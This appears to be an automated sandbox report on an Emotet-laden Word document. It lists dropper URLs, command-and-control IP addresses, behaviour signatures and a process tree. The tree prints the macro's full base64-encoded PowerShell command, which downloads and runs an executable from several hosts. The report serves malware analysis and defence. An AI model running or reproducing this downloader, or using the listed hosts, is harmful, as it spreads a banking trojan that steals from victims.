Overview

overview

10

Static

static

8

emotet_e1_...oc.doc

windows7_x64

10

emotet_e1_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    67s
  • max time network
    150s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    04/09/2020, 15:03

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    emotet_e1_edbc22e742e12b2af45a775673812f2c751b4f9071a83b9565d3d547fa380655_2020-09-04__150138._doc.doc
  • Size 122KB
  • Sample200904-32pg6lsym2
  • SHA256 edbc22e742e12b2af45a775673812f2c751b4f9071a83b9565d3d547fa380655
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://must-in.com/wp-admin/Q/
  • exe.dropper

    http://maximumwebimpact.com/test/rL9/
  • exe.dropper

    http://aldama.com/www/jkm/
  • exe.dropper

    http://www.bismarjeparamebel.com/wp-includes/SX/
  • exe.dropper

    http://staniszczak.net/cpf/F/
  • exe.dropper

    http://sriharshampromoters.com/sriharshaptr/8/
  • exe.dropper

    https://twisterprint.com/stats/KsU/

Extracted

Family

  • emotet

C2

  • 185.215.227.107:443

  • 51.38.124.206:80

  • 38.88.126.202:8080

  • 54.37.42.48:8080

  • 172.104.169.32:8080

  • 68.183.190.199:8080

  • 187.162.248.237:80

  • 82.76.111.249:443

  • 184.66.18.83:80

  • 190.6.193.152:8080

  • 77.238.212.227:80

  • 199.203.62.165:80

  • 188.2.217.94:80

  • 185.94.252.12:80

  • 178.250.54.208:8080

  • 206.15.68.237:443

  • 65.36.62.20:80

  • 216.47.196.104:80

  • 219.92.8.17:8080

  • 213.60.96.117:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_edbc22e742e12b2af45a775673812f2c751b4f9071a83b9565d3d547fa380655_2020-09-04__150138._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1452
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e JABIAGoAZQBpAHAAYQBnAD0AKAAnAFYAJwArACgAJwB4ADYAYQAnACsAJwBqAHAAMwAnACkAKQA7AC4AKAAnAG4AJwArACcAZQB3AC0AJwArACcAaQB0AGUAbQAnACkAIAAkAEUATgB2ADoAVQBTAEUAUgBQAHIATwBGAEkATABFAFwASgBMAHQAOABMADEANgBcAFMAeQBXAFMARgBLADgAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAHIAZQBjAFQATwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBjAHUAYABSAEkAYABUAHkAUAByAE8AdABgAE8AYwBPAEwAIgAgAD0AIAAoACgAJwB0AGwAcwAnACsAJwAxADIALAAgAHQAbAAnACkAKwAoACcAcwAxACcAKwAnADEAJwApACsAKAAnACwAIAB0ACcAKwAnAGwAJwApACsAJwBzACcAKQA7ACQAUQBjADcANwBrAGMAcwAgAD0AIAAoACcAVQAnACsAJwB6AHcAJwArACgAJwBrACcAKwAnAG8ANQBnACcAKwAnAHoAMAAnACkAKQA7ACQARwAwAGwAdABiAG4AZgA9ACgAKAAnAFAAYQAwACcAKwAnAGsAJwApACsAJwBiACcAKwAnAG4AZQAnACkAOwAkAEsANABxADAAdwA4AGEAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAeQAnACsAKAAnAGgAYQBKAGwAJwArACcAdAA4AGwAMQAnACsAJwA2AHkAJwApACsAJwBoACcAKwAoACcAYQBTAHkAdwAnACsAJwBzACcAKQArACcAZgAnACsAJwBrACcAKwAoACcAOAB5ACcAKwAnAGgAYQAnACkAKQAtAEMAcgBFAFAAbABhAGMAZQAgACgAWwBDAGgAQQBSAF0AMQAyADEAKwBbAEMAaABBAFIAXQAxADAANAArAFsAQwBoAEEAUgBdADkANwApACwAWwBDAGgAQQBSAF0AOQAyACkAKwAkAFEAYwA3ADcAawBjAHMAKwAoACcALgAnACsAKAAnAGUAeAAnACsAJwBlACcAKQApADsAJABCAHoANwA1AHoAawA3AD0AKAAnAFIAJwArACgAJwBxAHoAJwArACcAeAA5AHEAYwAnACkAKQA7ACQARgBhADMAdABiADcAMAA9AC4AKAAnAG4AZQB3ACcAKwAnAC0AbwBiAGoAJwArACcAZQBjAHQAJwApACAATgBFAHQALgB3AGUAYgBDAEwASQBlAG4AVAA7ACQAVgA2ADUAcwBkAGYAbAA9ACgAKAAnAGgAJwArACcAdAB0AHAAOgAnACsAJwAvAC8AbQAnACkAKwAoACcAdQBzAHQALQAnACsAJwBpACcAKQArACcAbgAnACsAJwAuACcAKwAnAGMAbwAnACsAKAAnAG0ALwB3ACcAKwAnAHAAJwApACsAKAAnAC0AYQAnACsAJwBkACcAKwAnAG0AaQAnACsAJwBuAC8AUQAvACoAaAAnACkAKwAoACcAdAAnACsAJwB0AHAAJwApACsAKAAnADoALwAvACcAKwAnAG0AJwApACsAKAAnAGEAeABpAG0AJwArACcAdQBtAHcAZQBiACcAKQArACcAaQAnACsAKAAnAG0AcAAnACsAJwBhAGMAdAAnACkAKwAoACcALgBjACcAKwAnAG8AbQAvACcAKQArACcAdABlACcAKwAoACcAcwB0ACcAKwAnAC8AcgAnACkAKwAoACcATAA5AC8AJwArACcAKgAnACsAJwBoAHQAJwApACsAJwB0ACcAKwAnAHAAJwArACcAOgAvACcAKwAoACcALwAnACsAJwBhAGwAZABhACcAKQArACcAbQAnACsAJwBhACcAKwAnAC4AJwArACgAJwBjACcAKwAnAG8AbQAvAHcAJwArACcAdwAnACkAKwAoACcAdwAvAGoAawBtAC8AJwArACcAKgBoACcAKwAnAHQAJwApACsAKAAnAHQAcAAnACsAJwA6ACcAKQArACgAJwAvAC8AJwArACcAdwB3ACcAKQArACcAdwAnACsAKAAnAC4AYgAnACsAJwBpAHMAJwApACsAJwBtAGEAJwArACcAcgAnACsAKAAnAGoAZQAnACsAJwBwACcAKQArACgAJwBhAHIAJwArACcAYQBtACcAKQArACgAJwBlAGIAZQBsAC4AYwBvACcAKwAnAG0ALwAnACkAKwAoACcAdwAnACsAJwBwAC0AaQBuACcAKQArACcAYwAnACsAKAAnAGwAdQBkACcAKwAnAGUAcwAvACcAKQArACgAJwBTAFgALwAnACsAJwAqACcAKQArACgAJwBoAHQAdAAnACsAJwBwADoALwAnACsAJwAvACcAKQArACgAJwBzAHQAYQAnACsAJwBuAGkAJwApACsAJwBzACcAKwAnAHoAYwAnACsAKAAnAHoAJwArACcAYQBrACcAKQArACgAJwAuAG4AZQB0ACcAKwAnAC8AYwAnACkAKwAoACcAcAAnACsAJwBmAC8AJwApACsAJwBGAC8AJwArACgAJwAqAGgAdAB0AHAAJwArACcAOgAnACkAKwAnAC8AJwArACcALwAnACsAKAAnAHMAcgAnACsAJwBpAGgAYQByACcAKQArACgAJwBzAGgAYQBtACcAKwAnAHAAcgAnACkAKwAnAG8AbQAnACsAKAAnAG8AdABlACcAKwAnAHIAcwAnACkAKwAnAC4AJwArACgAJwBjACcAKwAnAG8AbQAnACsAJwAvAHMAcgBpAGgAYQAnACkAKwAoACcAcgAnACsAJwBzAGgAJwApACsAKAAnAGEAcAAnACsAJwB0AHIALwAnACkAKwAoACcAOAAvACoAaAAnACsAJwB0ACcAKQArACcAdAAnACsAKAAnAHAAcwAnACsAJwA6AC8ALwAnACsAJwB0AHcAaQBzAHQAZQByACcAKwAnAHAAJwArACcAcgBpACcAKQArACgAJwBuAHQALgAnACsAJwBjAG8AbQAnACkAKwAnAC8AcwAnACsAKAAnAHQAYQB0AHMAJwArACcALwBLAHMAJwApACsAJwBVACcAKwAnAC8AJwApAC4AIgBzAFAAYABMAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEgAOQAyAGkAdwBsAHYAPQAoACgAJwBXAHoAJwArACcANgAzACcAKQArACcAOAAnACsAJwB0AHkAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAWQBsAGYAMAB2ADgAMQAgAGkAbgAgACQAVgA2ADUAcwBkAGYAbAApAHsAdAByAHkAewAkAEYAYQAzAHQAYgA3ADAALgAiAGQAYABvAFcAbgBsAE8AYQBEAGAARgBpAGAATABlACIAKAAkAFkAbABmADAAdgA4ADEALAAgACQASwA0AHEAMAB3ADgAYQApADsAJABFADMAMwBzADQAZQA0AD0AKAAnAEIAdgAnACsAKAAnADUAdwB5AHMAJwArACcAeQAnACkAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtAEkAJwArACcAdAAnACsAJwBlAG0AJwApACAAJABLADQAcQAwAHcAOABhACkALgAiAEwAZQBuAGAARwB0AGgAIgAgAC0AZwBlACAAMgAyADcANQA3ACkAIAB7ACYAKAAnAEkAbgAnACsAJwB2AG8AawBlAC0AJwArACcASQAnACsAJwB0AGUAbQAnACkAKAAkAEsANABxADAAdwA4AGEAKQA7ACQATgBhAGQAdwA3AF8AMwA9ACgAKAAnAEsAMAAnACsAJwBhAHEAJwApACsAJwBlACcAKwAnADQAZgAnACkAOwBiAHIAZQBhAGsAOwAkAEwAcgBmAHoAdgB4AGYAPQAoACgAJwBVAGcAJwArACcAYgByACcAKQArACcAXwAnACsAJwA1AG0AJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABTADUAbwB0AHYAeABrAD0AKAAnAFoAbwAnACsAJwBvACcAKwAoACcAZgA0AHQAJwArACcAMAAnACkAKQA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2020
    • C:\Users\Admin\Jlt8l16\Sywsfk8\Uzwko5gz0.exe
      "C:\Users\Admin\Jlt8l16\Sywsfk8\Uzwko5gz0.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:860
      • C:\Windows\SysWOW64\wdi\extrac32.exe
        "C:\Windows\SysWOW64\wdi\extrac32.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1036

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/860-18-0x0000000000370000-0x000000000037C000-memory.dmp
        Download

        memory/860-17-0x0000000000360000-0x000000000036D000-memory.dmp
        Download

        memory/1036-23-0x0000000000270000-0x000000000027C000-memory.dmp
        Download

        memory/1036-22-0x0000000000260000-0x000000000026D000-memory.dmp
        Download

        memory/1452-7-0x0000000007CC0000-0x0000000007EC0000-memory.dmp
        Download

        memory/1452-5-0x000000000B790000-0x000000000B794000-memory.dmp
        Download

        memory/1452-2-0x0000000009750000-0x0000000009754000-memory.dmp
        Download

        memory/1680-24-0x000007FEF6EF0000-0x000007FEF716A000-memory.dmp
        Download

        memory/2020-11-0x00000000026F0000-0x00000000026F1000-memory.dmp
        Download

        memory/2020-8-0x000007FEEA020000-0x000007FEEAA0C000-memory.dmp
        Download

        memory/2020-9-0x0000000002510000-0x0000000002511000-memory.dmp
        Download

        memory/2020-10-0x000000001AC80000-0x000000001AC81000-memory.dmp
        Download

        memory/2020-12-0x00000000022F0000-0x00000000022F1000-memory.dmp
        Download

        memory/2020-14-0x000000001B810000-0x000000001B811000-memory.dmp
        Download

        memory/2020-13-0x0000000002B50000-0x0000000002B51000-memory.dmp
        Download